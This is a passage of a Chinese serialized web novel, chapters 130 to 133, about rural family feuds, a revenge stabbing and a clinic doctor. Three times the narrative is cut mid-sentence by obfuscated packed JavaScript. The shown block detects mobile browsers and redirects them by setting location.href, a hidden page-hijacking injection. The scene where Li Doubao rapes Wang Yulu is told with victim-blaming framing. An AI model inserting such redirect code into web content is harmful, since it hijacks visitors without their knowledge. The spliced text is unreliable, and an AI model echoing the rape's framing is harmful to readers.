冯玉龙一脸焦急地说道:“婶子,您就别问了!您那表妹和表妹夫,真的不靠谱!要不是我及时赶到,玉露她恐怕就……”话说到一半,他突然意识到自己似乎说得太多了,于是赶忙闭上了嘴巴,不再言语。 秋容闻言,脸色瞬间变得凝重起来,她瞪大了眼睛,难以置信地问道:“你说什么?难道我表妹他们对玉露不好?” 冯玉龙并没有再多说什么,只是默默地点了点头,表示默认。 秋容的心中顿时涌起无数个问号,她实在想不明白究竟发生了什么事情。她决定亲自去县城找表妹问个清楚! 秋容拜托了国柱,让他跟随冯玉龙一同返回去,将玉露接回家中。安排好这一切后,秋容便匆匆踏上了前往县城的路途。 当她来到表妹的裁缝铺时,却惊讶地发现店门紧闭。秋容不禁心生疑惑,这到底是怎么回事呢?她转身又去了姨妈家,然而结果却让她大失所望——姨妈家的大门同样紧闭着,仿佛没有人居住一般。 秋容一脸狐疑地站在裁缝铺门口,她的眉头紧紧皱起,心中充满了疑问。她犹豫了一下,最终还是决定向路过的一位邻居打听一下情况。 “这位大嫂,您好,我想问一下,这家人去哪儿了呢?”秋容礼貌地问道。 邻居停下脚步,看了看秋容,然后回答说:“哦,你是找裁缝铺大娘啊?他们家孩子病得挺重的,家门口的大夫都治不好,估计是去找别的大夫了吧。” 秋容听了,不禁瞪大了眼睛,惊讶地说:“这么严重吗?” 邻居叹了口气,接着说:“可不是嘛!也不知道昨天发生了什么事情,不仅那裁缝铺子被人**了,就连燕子他妈也突然病倒了!” 秋容的心中越发疑惑起来,她实在想不明白,为什么会突然发生这么多事情。 秋容在门口等了很久,从上午一直等到下午,可始终没有见到表妹和姨妈的身影。她有些焦急,不知道该怎么办才好。最后,她决定先回家去,看看能不能从玉露那里问清楚情况。 然而,当秋容回到家时,却发现国柱也没有回来。这让她的心情愈发沉重,她不禁开始担心起来。 国柱这边,被冯家好酒好菜招待着,满满当当的一大桌,让人看着就很有食欲。冯家的人都很热情,不停地给国柱夹菜、倒酒,嘴里还说着各种客气话。 国柱看着这一桌子丰盛的菜肴,心里不禁感叹冯家真是太客气了。他笑着对冯家的人说:“你们太客气啦,这么多菜,我都不知道该从哪里下筷子了!” 安素素连忙说:“国柱啊,你可别这么说,这些都是应该的,你能来我们家,就是我们的贵客。” 这时,国柱突然想起了一件事,他对冯玉龙说:“对了,我本来还想把我妹子介绍给你呢,我这还没张口呢,没想到你们俩啥时候竟然偷偷好上了?居然连我都瞒着!” 冯玉龙有些不好意思地挠了挠头,然后站起身来,给国柱敬了一杯酒,说道:“国柱大哥,不瞒你说,昨天……我无意看了玉露妹子的身子,所以……” 国柱一听,顿时瞪大了眼睛,他拍着桌子说道:“什么?你小子竟然耍流氓!” 冯玉龙一看国柱生气了,都有些慌了神,连忙解释说:“国柱大哥,你别生气,这事儿不是你想的那样……” 就在这时,玉露突然走了进来,她的眼睛红红的,显然刚刚哭过。玉露一见到国柱,眼泪像决堤的洪水一样涌了出来,她哭着说:“大哥……我可算见到你了!” 国柱见状,连忙站起身来,走到玉露身边,拍着她的肩膀安慰道:“妹子,别哭,是不是这个臭小子欺负你了?他要是真敢欺负你,我替你教训他!” 王玉露见状,心中一紧,连忙跨步上前,用身体挡住了冯玉龙,一脸焦急地解释道:“大哥,你误会了!他真的没有欺负我,反而还救了我呢!他为了保护我,他都受伤了……” 王国柱闻言,脸色瞬间变得凝重起来,他瞪大眼睛看着冯玉龙,关切地问道:“什么?你受伤了?快让我看看!”说着,他便伸手想要去查看冯玉龙的伤势。 冯玉龙有些不好意思地笑了笑,摆了摆手道:“没事的,大哥,就是一点小伤,不碍事的。” 王国柱却不依不饶,他皱起眉头,语气严肃地说:“你这小子,怎么回事?受伤了都不告诉我!到底是谁这么大胆,敢欺负我妹子,还打伤了我兄弟?” 面对王国柱的质问,冯玉龙和王玉露都沉默了下来,两人不约而同地低下了头,似乎有什么难言之隐。 王国柱见状,心中的疑惑更甚,他提高了声音,催促道:“你俩倒是说话啊!有什么事情是不能讲出来的?” 然而,就在这时,令人意想不到的事情发生了——王玉露突然像一阵风似的又哭着跑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王国柱点头说道:“是啊,我当然知道,听我婶子讲,那可是她姨妈的铺子呢,现在是她表妹在负责打理。按辈分来算的话,玉露也得尊称人家一声姨母呀!可她怎么会到你家来了呢?” 冯玉龙满脸怒容地说道:“就是她家裁缝铺子的那男人,简直就是个混蛋!他不仅对自己的老婆孩子不闻不问,还整天在外面花天酒地、胡作非为。更过分的是,他竟然对玉露也动了歪心思!要不是我昨天及时赶到,恐怕玉露早就被那个王八蛋给……” 王国柱一听,顿时火冒三丈,“砰”的一声拍在桌子上,怒吼道:“那个王八蛋,老子今天非得去把他给阉了不可!” 冯玉龙连忙劝道:“大哥,你先别冲动。他昨天已经被我狠狠地揍了一顿,而且也被裁缝店的人给赶出家门了。至于他现在在哪里,估计也不太好找啊!” 王国柱瞪大了眼睛,追问道:“这么说,也是那个王八蛋把你伤了的?” 冯玉龙面色凝重地点了点头,懊悔地说道:“都怪我太大意了,我根本没有想到他竟然会随身带着一把刀子。” 一旁的王国柱情绪激动地喊道:“不行!我既然已经知道了这件事情,就绝对不能这样若无其事地回家去!我一定要找到他,跟他算这笔账,不找到他决不罢休!” 冯玉龙见状,连忙劝慰道:“你先别冲动,正好可以留下来陪陪玉露。这两天玉露总是被噩梦缠身,我看她心情也不是太好,有你在她身边,或许她能安心一些。” 王国柱听后,稍微冷静了下来,但他的心中依然充满了愤怒和不甘,咬牙切齿地说道:“那个人叫什么名字?你告诉我,我现在就出去四处寻找一遍,我就不信我会找不到那个王八蛋!” 冯玉龙赶忙拉住王国柱,劝道:“你别这么着急嘛,不如今天先好好休息一下,养精蓄锐。等明天我和你一起去找那个混蛋,我想肯定能找到他的。” 王国柱看着对方一脸的疲惫,不禁心疼地说道:“你也确实需要多休息,那就明天吧,我先去陪玉露说说话!”说罢,他转身朝着玉露的房间走去。 走到门口,王国柱轻轻敲响了玉露的房门,轻声问道:“妹子,大哥能进来吗?” 房间里玉露打开了门,有些急切的问道:“大哥,我娘她还好吗?” 王国柱连忙安慰道:“放心吧,婶子她好着呢,而且玉龙这小子去家里提亲了,你娘可是开心的很呢!” 听到“提亲”两个字,王玉露的脸色瞬间变了,她难以置信地问道:“什么?提亲?我怎么不知道?” 王国柱看着玉露惊讶的表情,笑着解释道:“你不知道?你现在知道也不迟啊?玉龙这小子挺好的,咱们全家都喜欢!而且他不是也救了你嘛!说明你们有缘!” 王玉露满脸愁容,欲言又止地说道:“可是……豆宝……” 第130章 偷鸡不成蚀把米 冯玉龙突然想到一种可能性,他瞪大眼睛说道:“那种好色之徒,有没有可能是藏到窑子里面去了!” 王国柱听后,觉得这个想法有些道理,于是附和道:“要不然,咱们也去找找看!” 然而,冯玉龙却面露难色,连忙摆手道:“我可不去那种地方!我娘知道了会打死我的!而且玉露知道了也会生气的!” 王国柱见状,不以为意地劝道:“你怕什么啊?咱又不是为了去玩,咱是进去找人!” 冯玉龙犹豫了一下,还是觉得不妥,他嘟囔着说:“话虽这么说,但是……” 王国柱有些不耐烦了,他打断冯玉龙的话,大声说道:“别娘们儿唧唧的了,你就说陪不陪我去找那人!” 冯玉龙被王国柱的气势吓到,只好无奈地答应道:“去,陪你去还不行吗?不过先说好,我在门口守着,你进去里面找!” 王国柱看着眼前的冯玉龙,心中不禁有些气恼,他抬手朝着冯玉龙头上轻轻地拍了一下,没好气地说道:“你是不是蠢啊?我又没见过那个人长什么样子,还不得你进去帮我看着点啊!” 冯玉龙被这突如其来的一拍吓了一跳,他瞪大眼睛,张着嘴巴,却一句话也说不出来,只是一脸的茫然和无奈。 两人就这样一前一后地走出了茶楼,来到了街上的十字路口。然而,面对眼前的两条街道,他们却犯起了难,不知道究竟该去东街还是西街。 正当他们犹豫不决的时候,突然间,一阵喧闹声从不远处传来。两人转头看去,只见那暖香阁里居然扔出来了一个人!那老鸨婆子正站在门口,双手掐着腰,满脸怒容地对着地上的人骂骂咧咧。 “都赊账两日了,还想赖着不走?”老鸨的声音尖锐刺耳,在这安静的街道上显得格外突兀。 地上那人显然被吓得不轻,他手忙脚乱地捡起衣服,胡乱地往身上套着,嘴里还嘟囔着:“真小气,不就是赊了两天账吗?至于这样吗?” 老鸨一听,更是气不打一处来,她几步上前,指着那人的鼻子骂道:“老娘小气?昨日就该把你给丢出去了!今日一早,我们可是去你们家要账了,结果呢?你们家人非但不给,还不承认跟你有关系!你说,你这不是故意来骗我们的吗?我没打死你就算不错的了,再敢来我们这地盘,信不信我废了你!” “哼,等爷发财了,拿钱砸死你!”彭志远满脸怒容地吼道。 街边的冯玉龙突然兴奋地喊道:“真是老天有眼啊,得来全不费功夫!” 冯玉龙的话引起了王国柱的注意,他疑惑地问:“你说啥?” 冯玉龙指了指不远处被人扔出来的一个人,咬牙切齿地说:“被扔出来那个就是欺负了玉露的混蛋!” 王国柱一听,顿时火冒三丈,他怒不可遏地骂道:“他奶奶的,今天一定要让这王八蛋见识一下大爷的厉害!” 话音未落,王国柱像一头被激怒的雄狮一样,径直冲向那个被扔出来的人——彭志远。 彭志远还没来得及反应,就被王国柱狠狠地踹倒在地。接着,王国柱对着彭志远就是一顿**般的拳打脚踢。 彭志远被打得毫无还手之力,只能躺在地上痛苦地呻吟着。他的脸上已经布满了青一块紫一块的伤痕,嘴角也渗出了鲜血。 然而,王国柱并没有丝毫停手的意思,他继续不停地殴打着彭志远,仿佛要将所有的愤怒都发泄在他身上,嘴里还念念有词:“吃了熊心豹子胆,竟敢欺负我妹子!” 终于,彭志远再也忍受不住这种剧痛,他哭着求饶道:“别打了,别打了,求好汉饶了我吧……” 就在这时,彭志远突然抬起头,隐约中看到了冯玉龙正站在他面前。他瞪大了眼睛,满脸惊恐地说:“你……你居然没死……” 冯玉龙冷笑一声,说道:“我命大,还死不了!”说完,他又是一拳狠狠地打在了彭志远的眼睛上。 彭志远惨叫一声,双手紧紧捂住自己的眼睛,痛苦地在地上翻滚着。 过了一会儿,彭志远稍稍缓过神来,他再次哀求道:“您大人不计小人过,这次就饶了我吧……我保证以后再也不敢了……” 冯玉龙恶狠狠地盯着彭志远,咬牙切齿地说道:“你竟然敢捅我一刀,这笔账我可还没跟你算清楚呢,我怎么可能轻易放过你!”话音未落,只见他迅速从腰间掏出一把寒光闪闪的刀子,毫不犹豫地朝着彭志远的大腿狠狠地刺去! 刹那间,鲜血四溅,彭志远发出一阵凄厉的哀嚎,那声音让人毛骨悚然。然而,这并没有让冯玉龙心生怜悯,反而让他更加愤怒。 站在一旁的王国柱见状,飞起一脚踹在彭志远身上,怒骂道:“算你运气好,我兄弟心地善良,不想让你死得那么痛快,所以才只在你大腿上捅一刀。真是便宜你了,你可是往我兄弟胸口窝子里捅的!”说罢,他又毫不留情地朝着彭志远的另一条大腿补了一刀,“这一刀是替我妹子给你的,你给我记住,你要是再敢干坏事,我这刀子可不会再留情!” 说完,冯玉龙和王国柱对视一眼,然后头也不回地扬长而去,留下彭志远在地上痛苦地呻吟着。 彭志远的两条腿都受了重伤,根本无法站立,只能艰难地趴在地上,一点点地向前挪动。他的每一步都伴随着钻心的疼痛,但他不敢停下来,因为他知道,如果不能及时找到大夫诊治,他很可能会失血过多而死。 一路上,路过的人们都对他避而远之,仿佛他是一个可怕的瘟神。彭志远心中充满了绝望和无助,但他并没有放弃求生的欲望。 突然,他想起了张记药铺的许大夫。听说这位许大夫医术高明,而且心地善良,对于一些穷苦的病人,他常常分文不取。只是,彭志远也听说过一些关于许大夫的传闻,据说他喜欢问一些莫名其妙的问题。不过,现在的彭志远已经顾不了那么多了,只要能活命,他什么都愿意做。 他咬紧牙关,使出全身力气,艰难地向前爬行着。每一步都像是用尽了全身的力量,但他心中只有一个念头——一定要爬到张家药铺。 然而,他并不知道,这张家药铺的许大夫,有一个特殊的规矩,那就是生平有三不治:赌徒、烟鬼和色鬼。 他就这样一路艰难地爬行着,终于来到了张记药铺的门口。张记药铺的现任掌柜名叫许宗海,因为医术高明,被人们称为妙手回春许大夫。 原来,之前的张天福在去世前,将药铺和他的女儿张雯雯一同托付给了宗海。宗海不仅医术精湛,而且为人正直善良,深得张天福的信任。 如今,宗海已经迎娶了张雯雯为妻,成为了张记药铺的当家人。许多人都建议他将张记药铺改名为许记药铺,以彰显他的医术和地位。 但宗海却坚决地拒绝了这个提议。他认为张大夫对他有救命之恩,今生今世都难以报答。他会尽心尽力地打理好张记药铺,绝不会更改药铺的名字。 就在这时,宗海正在屋里给一位病人把脉,突然听到铺子外面传来一阵喧闹声。张雯雯好奇地伸头望去,不禁失声叫道:“呀,外面有个人腿受伤了!” 她急忙喊来药房的伙计,吩咐道:“快去,把那个人扶进来!” 宗海听着张雯雯的话,连忙对眼前的病人说道:“您稍等我一会儿,我去看看情况,马上回来!” 病人点了点头,表示同意。宗海见状,快步走出诊室,来到走廊上。他定睛一看,只见眼前的人双腿裤子已经在地上磨破,露出了里面的皮肉,两条大腿上面均有不同程度的擦伤和瘀伤,再加上那一副鼻青脸肿的模样,显然是遭受了他人的暴力袭击。 宗海心中一紧,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367281|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻蹲下身子,仔细查看起伤口来。他轻轻擦拭伤口周围的污垢和血迹,然后涂上一层止血的药膏,并用纱布包扎好。整个过程中,他动作娴熟而轻柔,尽量避免给病人带来更多的痛苦。 处理完伤口后,宗海直起身子,看着眼前的人,严肃地问道:“能告诉我这伤是怎么来的吗?” 彭志远显然没有想到宗海会这么问,他稍微愣了一下,然后满不在乎地回答道:“不过就是想睡个娘们儿吗,谁知道偷鸡不成蚀把米,不但没有得逞,还白白挨了一顿打!真是倒霉透顶!” 宗海听了彭志远的话,心中不禁涌起一股厌恶之情。他冷哼了一声,心想这人也不是什么好东西,活该被打。不过,作为一名大夫,他还是尽到了自己的职责。 “腿已经给你止了血,你可以走了!”宗海面无表情地说道,然后转过身去,不再理会彭志远,继续去给别的病人把脉开药去了。 彭志远望着宗海离去的背影,心中有些忐忑不安。他低头看了看自己受伤的腿,又望向正在抓药的伙计,犹豫了一下,还是开口问道:“那我这腿还能好吗?” 伙计有些疑惑地看向张雯雯,似乎在询问她的意见。张雯雯的目光与宗海交汇了一下,她立刻明白了宗海的想法。宗海一定是认为眼前这个彭志远不是什么善良之辈,所以才不愿意出手相救。 张雯雯心里虽然有些不忍,但还是果断地对彭志远说道:“实在抱歉,我们这里可能没办法治好您的伤。您还是去别家大夫那里看看吧。” 彭志远一听,顿时急了,他满脸惊恐地哀求道:“什么?连张记药铺都治不了的话,那别家岂不是更不行了……求求许大夫,您一定要救救我啊……”他一边说着,一边嚎啕大哭起来。 然而,宗海却对彭志远的哀求充耳不闻,完全无动于衷。 就在这时,突然从外面急匆匆地跑进来一个人,焦急地喊道:“许大夫,快请您到我家去一趟,我家夫人腹痛得厉害!” 宗海听到这个消息后,立刻站起身来,拎起药箱,毫不犹豫地对张雯雯说:“走,我们快去看看!”然后,他便紧跟着那个人匆匆离去。 往常,如果遇到女性病人,宗海都会和张雯雯一同前往。因为张雯雯虽然也懂一些医理,但在诊断病情方面,还是不如宗海那么精通。特别是遇到一些妇人之症时,还需要张雯雯先进行贴身问诊,然后宗海再通过把脉来进一步确诊。 今日亦是如此,那人面色凝重,声称其夫人腹痛难忍,急需救治。宗海与张雯雯对视一眼,心领神会,因为这种情况通常需要张雯雯一同前去。 夫妻二人紧跟着那人穿过几条狭窄的巷子,最终来到了那人的家门前。这户人家的门扉紧闭,透露出一股清新雅致的气息。 那人脚步匆忙,似乎对屋内的情况十分焦急,他迅速将宗海和张雯雯引入内屋。 宗海站在房门外,还未踏进房间,便听到一阵虚弱的女声从里面传来:“我的肚子好痛啊,救救我……” 这声音如同一道闪电,划破了宗海脑海中的黑暗。那熟悉的音调,让他尘封已久的记忆如潮水般涌上心头。他的身体微微一颤,那个声音,他一辈子都无法忘怀! 就是这个女人,曾经给他们一家带来了无尽的痛苦和灾难。她的所作所为,害得宗海的母亲含恨而亡,也让他的弟弟妹妹至今下落不明。 张雯雯见宗海站在门口迟迟未动,正准备迈步进入房间时,却突然被宗海一把拉住了胳膊。宗海的脸色阴沉,他紧紧地握着张雯雯的手臂,沉声道:“你在外面等我吧,我自己进去就好。” 张雯雯有些诧异,平日里遇到女性病人,都是她先进去查看情况的。然而,宗海此刻的态度却异常坚决,她不禁心生疑惑,但还是顺从地点了点头,留在了门外。 第132章 爱偷腥的猫还怪起鱼了? 且说那王玉露,此时已然与王国柱一同回了! 甫一踏入家门,母亲便如连珠炮般接连发问,然而王玉露却始终紧闭双唇,不肯吐露半字实情! 见女儿如此,母亲心中虽有疑虑,但见其态度坚决,便也不再强求,只得由她去了。 王玉露匆匆躲进自己房间,紧闭房门,仿佛要将外界的一切都隔绝开来。 秋容见状,虽心有不甘,却也无可奈何,只得暂且放下追问之事。 毕竟,女儿看起来似乎并未怪罪自己替她定下这门亲事,如此一来,秋容心中的一块大石也算落了地。 时光荏苒,两日转瞬即逝。 这日清晨,王玉露突然起身走出家门,直奔李家沟的方向而去! 王玉露无心欣赏路上的美景,脚步匆匆,路过那片熟悉的桃树林旁时! 远远望去,只见豆宝在不远处,此时的他百无聊赖地躺在草地上,仰望着那湛蓝的天空,似是在沉思,又似是在发呆…… 王玉露脚步轻缓,她的心跳加速,仿佛要冲破胸腔蹦出来。终于,她走到了李豆宝的面前,嘴唇微张,想要说些什么,但话到嘴边却像被一股无形的力量堵住了,最后只喊了一声:“豆宝……我”。 李豆宝原本正躺在草地上,听到来人的声音后,身体猛地一颤,像是被针刺了一下。他噌的一下从草地上坐了起来,面无表情地盯着王玉露,眼中的冷漠让人不寒而栗。 “你来做什么?”李豆宝的声音冷冰冰的,没有一丝温度,“我不是说了永远不想再看见你了吗?” 王玉露的眼眶瞬间湿润了,泪水在她的眼中打转,她努力不让它们流下来,可还是有几滴不争气的眼泪顺着脸颊滑落。 “豆宝,我没有做过对不起你的事情!”王玉露的声音带着一丝哭腔,她紧紧地咬着嘴唇,试图让自己的情绪稳定下来。 “我都亲眼看见你抱别人了,你还说没有?”李豆宝的音量不自觉地提高了一些,他的眉头紧紧地皱着,满脸都是愤怒和失望。 王玉露深吸一口气,强忍着内心的痛苦,解释道:“事情不是你想的那样……我可以解释的!” “好啊!你解释啊,我看你还想怎么狡辩?”李豆宝的语气充满了嘲讽和不屑,他双手抱在胸前,冷冷地看着王玉露,似乎已经认定了她的解释只是一个谎言。 王玉露的泪水像决堤的洪水一般,源源不断地从她的眼中涌出,她哽咽着说道:“豆宝,你要相信我,是……” 然而,话还没说完,就被李豆宝粗暴地打断了:“是什么,你说不出来了吧?” 王玉露的声音有些哽咽,她的眼中闪烁着泪光,似乎受到了极大的委屈。她颤抖着说道:“是他救了我,还受了伤,要不是他救我,我差点就被别人侮辱了……” 然而,李豆宝却对她的话充耳不闻,他的脸色变得阴沉,嘴角挂着一丝冷笑。他打断了王玉露的话,毫不留情地说:“王玉露,这就是你移情别恋的借口吗?” 王玉露瞪大了眼睛,难以置信地看着李豆宝,她的嘴唇微微颤抖着,想要解释却又不知道从何说起。 李豆宝见状,更加愤怒地吼道:“难道不是吗?天底下那么多女人,就偏偏你差点被人侮辱了?还那么凑巧偏偏就被他给救了?苍蝇不叮无缝的蛋,一只爱偷腥的猫还怪起鱼了?” 王玉露的泪水终于忍不住夺眶而出,她哭着说:“豆宝,你怎么能这样看待我呢?” 李豆宝却丝毫没有心软,他继续说道:“那你想让我怎么看待你?你不是都订了亲了吗?又来找我做什么?难道是想来看我伤心的模样让你更有成就感?” 王玉露拼命地摇着头,泪水像断了线的珠子一样滚落下来。她抽泣着说:“不……不是那样的……” 李豆宝嘴角扬起一抹戏谑的笑,看着王玉露说道:“怎么?莫不是你想我了?” 王玉露的脸色瞬间变得通红,她有些结巴地说道:“我……!” 然而,还未等她把话说完,李豆宝便突然打断了她,语气中充满了嘲讽和不屑:“果然女人都不是什么好东西,水性杨花!一边跟别人定了亲事,一边还要继续来勾搭我!” 王玉露的脸色由红转白,她瞪大了眼睛,满脸愤怒地看着李豆宝,声音略微有些颤抖地说道:“你怎么能说出这种话!” 李豆宝却丝毫没有退缩的意思,他步步紧逼,继续说道:“说话都不让说了?你欺骗我这么两年的感情,说走就想走!”说着,他猛地伸出手,紧紧地拽住了王玉露的胳膊,用力往林子深处扯去。 王玉露被这突如其来的举动吓了一跳,她一边拼命挣扎,一边焦急地喊道:“豆宝,你放开我,您弄疼我了!” 可是,李豆宝此时已经被愤怒冲昏了头脑,他根本不顾王玉露的感受,只是一个劲地将她往林子深处拖。 终于,在一处相对隐蔽的地方,李豆宝停下了脚步。他松开了王玉露的胳膊,王玉露一个踉跄,差点摔倒在地。 李豆宝看着王玉露,眼中闪过一丝疯狂,他突然一把将王玉露推倒在地,然后恶狠狠地说道:“上次在草垛子里不小心被我爹他们发现了,在这儿应该就没人发现了!” 王玉露惊恐地看着李豆宝,她完全不明白他为什么会变成这样。她颤抖着声音问道:“李豆宝,你疯了,你这是要做什么?” 李豆宝一脸愤怒地吼道:“我还能做什么?你又不愿意嫁给我!每次却又主动来找我投怀送抱,亏我每次还对你怜香惜玉,这次我若不如了你的愿,岂不是让你白跑这一趟!”他的声音在空气中回荡,带着一丝绝望和不甘。 王玉露瞪大了眼睛,满脸不可置信地看着李豆宝,她怎么也想不到,他会说出这样的话。她的手颤抖着,扬起,然后狠狠地朝着李豆宝的脸颊扇了过去。 “啪!”清脆的耳光声响彻在耳边,李豆宝的脸上顿时浮现出一个鲜红的掌印。然而,他并没有因此而停下,反而像是被激怒了一般,回敬了王玉露一个更重的巴掌。 “**,你不是之前一直都说喜欢我吗?喜欢我就给我!”李豆宝的声音变得低沉而沙哑,透露出一种无法抑制的欲望。 王玉露的泪水像决堤的洪水一般涌出,她的心如刀绞,但却没有丝毫反抗的意思。她只是默默地躺在草地里,任由李豆宝附上身来,仿佛这样能让他心底的痛苦减轻一些。 李豆宝在这一刻,完全失去了理智。他的行为已经超出了他平时的范畴,他不再是那个单纯的少年,而是一个被欲望吞噬的男人。 发泄完之后,李豆宝喘着粗气,提起裤子,冷漠地看着王玉露,说道:“果然是个**!我也实话告诉你,我是不会娶你这样的破鞋的!”说完,他愤然转身离去,留下王玉露一个人缩在林子里,独自哭泣。不知道自己到底做错了什么,会把事情变成这样! 李豆宝前脚刚踏进家门,还没来得及喘口气,家门口突然传来一声呼喊:“豆宝!” 这突如其来的声音让李豆宝有些诧异,他疑惑地抬起头,目光落在了站在门口的女人身上。只见那女人面容姣好却有些憔悴,年纪约莫三十来岁,衣着光鲜。 李豆宝盯着眼前的女人,脑海里飞快地搜索着关于她的记忆,但却一无所获。他皱起眉头,语气生硬地问道:“你是谁?” 那女人似乎没有预料到李豆宝会如此冷漠,她脸上露出一丝惊愕,但很快就恢复了笑容,轻声说道:“我是你娘啊!你怎么这么快就把我给忘了呢?” 李豆宝一听,顿时火冒三丈。他瞪大了眼睛,怒声吼道:“你走错了吧?我根本就没有娘!”说完,他转身就要往屋里走,不想再和这个莫名其妙的女人纠缠。 然而,那女人却不依不饶,她急忙上前几步,拉住李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在这时,李万原恰巧从河里捉到了一条大鱼,满心欢喜地正往家走去。路过小翠时,他注意到路边蹲着一个女人,那奇怪的姿势让他不禁多看了两眼。 越看越觉得这个女人有些眼熟,李万原心里暗自琢磨着,好像在哪里见过她。好奇心作祟,他慢慢地走近了小翠。 当他走到小翠面前时,终于看清楚了她的面容,这一看,让李万原的心猛地一惊:“这……这难道是那个小翠?”他简直不敢相信自己的眼睛,当初那个漂亮的小翠,如今怎么变得如此消瘦,差点都快认不出来了! 李万原犹豫了一下,还是决定开口询问:“你是谁家的啊?这是咋了?” 小翠缓缓地抬起头,与李万原的目光交汇。李万原定睛一看,心中的猜测得到了证实,眼前的女人确实是小翠。 小翠的声音有些虚弱:“我是小翠……” 李万原连忙关切地问道:“你这是咋了?怎么蹲在这里呢?” 小翠勉强笑了笑,回答道:“没什么,就是肚子有点疼而已……兄弟,麻烦你能不能帮我叫一声大虎过来……” 李万原嘴角微扬,似笑非笑地看着小翠,阴阳怪气地说道:“你让我去我就去啊?当年你可是让别人给我打得不轻啊……” 小翠听了,脸色有些尴尬,但她并没有被李万原的话吓倒,而是迅速从口袋里掏出两张钞票,递到李万原面前,娇嗔地说:“我给你钱……” 李万原眼睛一亮,心中暗喜,脸上却故作惊讶地说:“还有这好事儿呢!嫂子真是大方啊!”他一边说着,一边毫不客气地接过钞票,塞进了自己的口袋里。 此刻,望着捂着肚子、身体有些不适的小翠,李万原心中不禁涌起了一些坏念头。 他眼珠一转,计上心来,脸上露出一丝不怀好意的笑容,对小翠说:“你这么难受,要不然我扶你去那边坐着吧!” 小翠犹豫了一下,最终还是点了点头,同意了李万原的提议。于是,李万原小心翼翼地搀扶着小翠,坐到了路旁一个石头上。 第133章 能睡是福 刚在旁边的一块石头上坐下来,李万原便迫不及待地开口说道:“嫂子,我就有件事儿始终想不明白,你都愿意跟李安硕那小子好,怎么就看不上兄弟我呢!兄弟我对你可是真心的啊,一直都对你念念不忘呢!” 小翠自然心知肚明眼前这人的企图,她赶忙说道:“兄弟呀,你看我今天这身子,正巧赶上了月事,那叫一个难受啊!你就可怜可怜我,大发慈悲地帮我去把李大虎给叫出来吧!” 李万原一听,心中不禁有些懊恼。但他也不好发作,只得悻悻地说道:“罢了罢了,算我倒霉,就当是做件善事吧!行,我扶你回去吧!” 李万原小心翼翼地搀扶着小翠,一路缓缓地走到了李大虎家的门外。他停下脚步,站定后,抬起手轻轻地敲起了门。 “咚咚咚……” 不一会儿,门里传来了一个声音:“谁啊?” 李万原连忙应道:“大虎哥在家吗?我是万原啊!” 听到门外的人是李万原,李豆宝心里的一块石头终于落了地。 就在这时,门“吱呀”一声被打开了,站在门口的正是王小凤。 李万原站在门口,满脸笑容地对着屋内喊道:“婶子,俺大虎哥不在家里吗?” 话音未落,只听得一阵脚步声,李大虎从屋里匆匆走了出来,满脸狐疑地看着李万原,粗声粗气地问道:“找俺啥事儿!” 李万原见状,脸上的笑容愈发灿烂,他得意洋洋地说道:“我可是把你媳妇儿找回来了,你可得好好感谢我才行!” 李大虎一听,如遭雷击一般,他瞪大了眼睛,难以置信地看着李万原,结结巴巴地说道:“你说啥?没骗我?” 李万原嘴角上扬,露出一抹狡黠的笑容,他用手指了指门口,说道:“你自己看去啊!” 李大虎三步并作两步,如疾风般冲到门口,定睛一看,果然是小翠!只见她面容憔悴,身形消瘦,与记忆中的模样相比,似乎多了几分沧桑。然而,在李大虎的眼中,小翠依旧是那么的美丽动人…… 李大虎的眼眶瞬间湿润了,他颤抖着声音说道:“谢谢你啊,兄弟,今天我就不留你吃饭了,明天我一定上门感谢!” 话一说完,李大虎便快步走出家门,一阵风一般跑向小翠,紧紧地将她拥入怀中,仿佛生怕她再次消失不见。 李大虎的泪水像决堤的洪水一般,汹涌而出,他哽咽着说道:“你可算回来了,这些年你都去哪儿了啊,我都找了你十几年了……” 十几年的委屈仿佛在这一瞬间如决堤的洪水一般涌上心头,李大虎的眼眶瞬间湿润了,泪水在他的眼角打转,她强忍着不让它们掉下来。 此时,王小凤和李豆宝都站在门口,李豆宝一脸冷漠地看着眼前的女人,他的声音冰冷而又生硬:“我不是让你不要再来了嘛!你又来我家做什么?” 一旁的李大虎见状,连忙呵斥道:“豆宝,不准这样跟你娘说话!” 然而,王小凤的情绪反而越发激动起来,她怒视着李大虎,站在门口掐着腰,一脸怒气地说道:“你说豆宝干什么,豆宝又没错,豆宝那么小,她都能狠心抛弃,这样的女人我们家不要了!” 就在这时,一直站在一旁默不作声的小翠突然“扑通”一声跪倒在地上,她的脸上充满了懊悔和自责,泪水像断了线的珠子一样不停地滚落下来。她哽咽着说道:“娘,我错了,这些年我也很想豆宝,我在外面也是想多赚些钱,好让豆宝过上更好的日子!”说着,小翠还从口袋里掏出了一大把的钞票,那厚厚的一叠钞票在阳光下显得格外耀眼。 李大虎看着眼前的一幕,心中不禁有些动容,他犹豫了一下,然后对王小凤说道:“娘,你看这……小翠终究是豆宝的娘啊!” 王小凤直接拿走小翠手上的钱:“哼!这本就是你应该给豆宝的!豆宝也不小了,回头娶媳妇儿也得需要钱,至于豆宝原不原谅你,我这个老婆子可做不了主!” 然而,就在这时,豆宝却气势汹汹地站在门口,毫不退缩地拦住了去路,他瞪大眼睛,死死地盯着门外的小翠,嘴里还喊着:“有我在,你别想进这个门!” 李大虎见状,顿时火冒三丈,他指着豆宝的鼻子骂道:“你这小兔崽子,反了天了是不是?信不信我今天好好教训你一顿!”说着,他竟然扬起了巴掌,做出一副要扇豆宝耳光的样子。 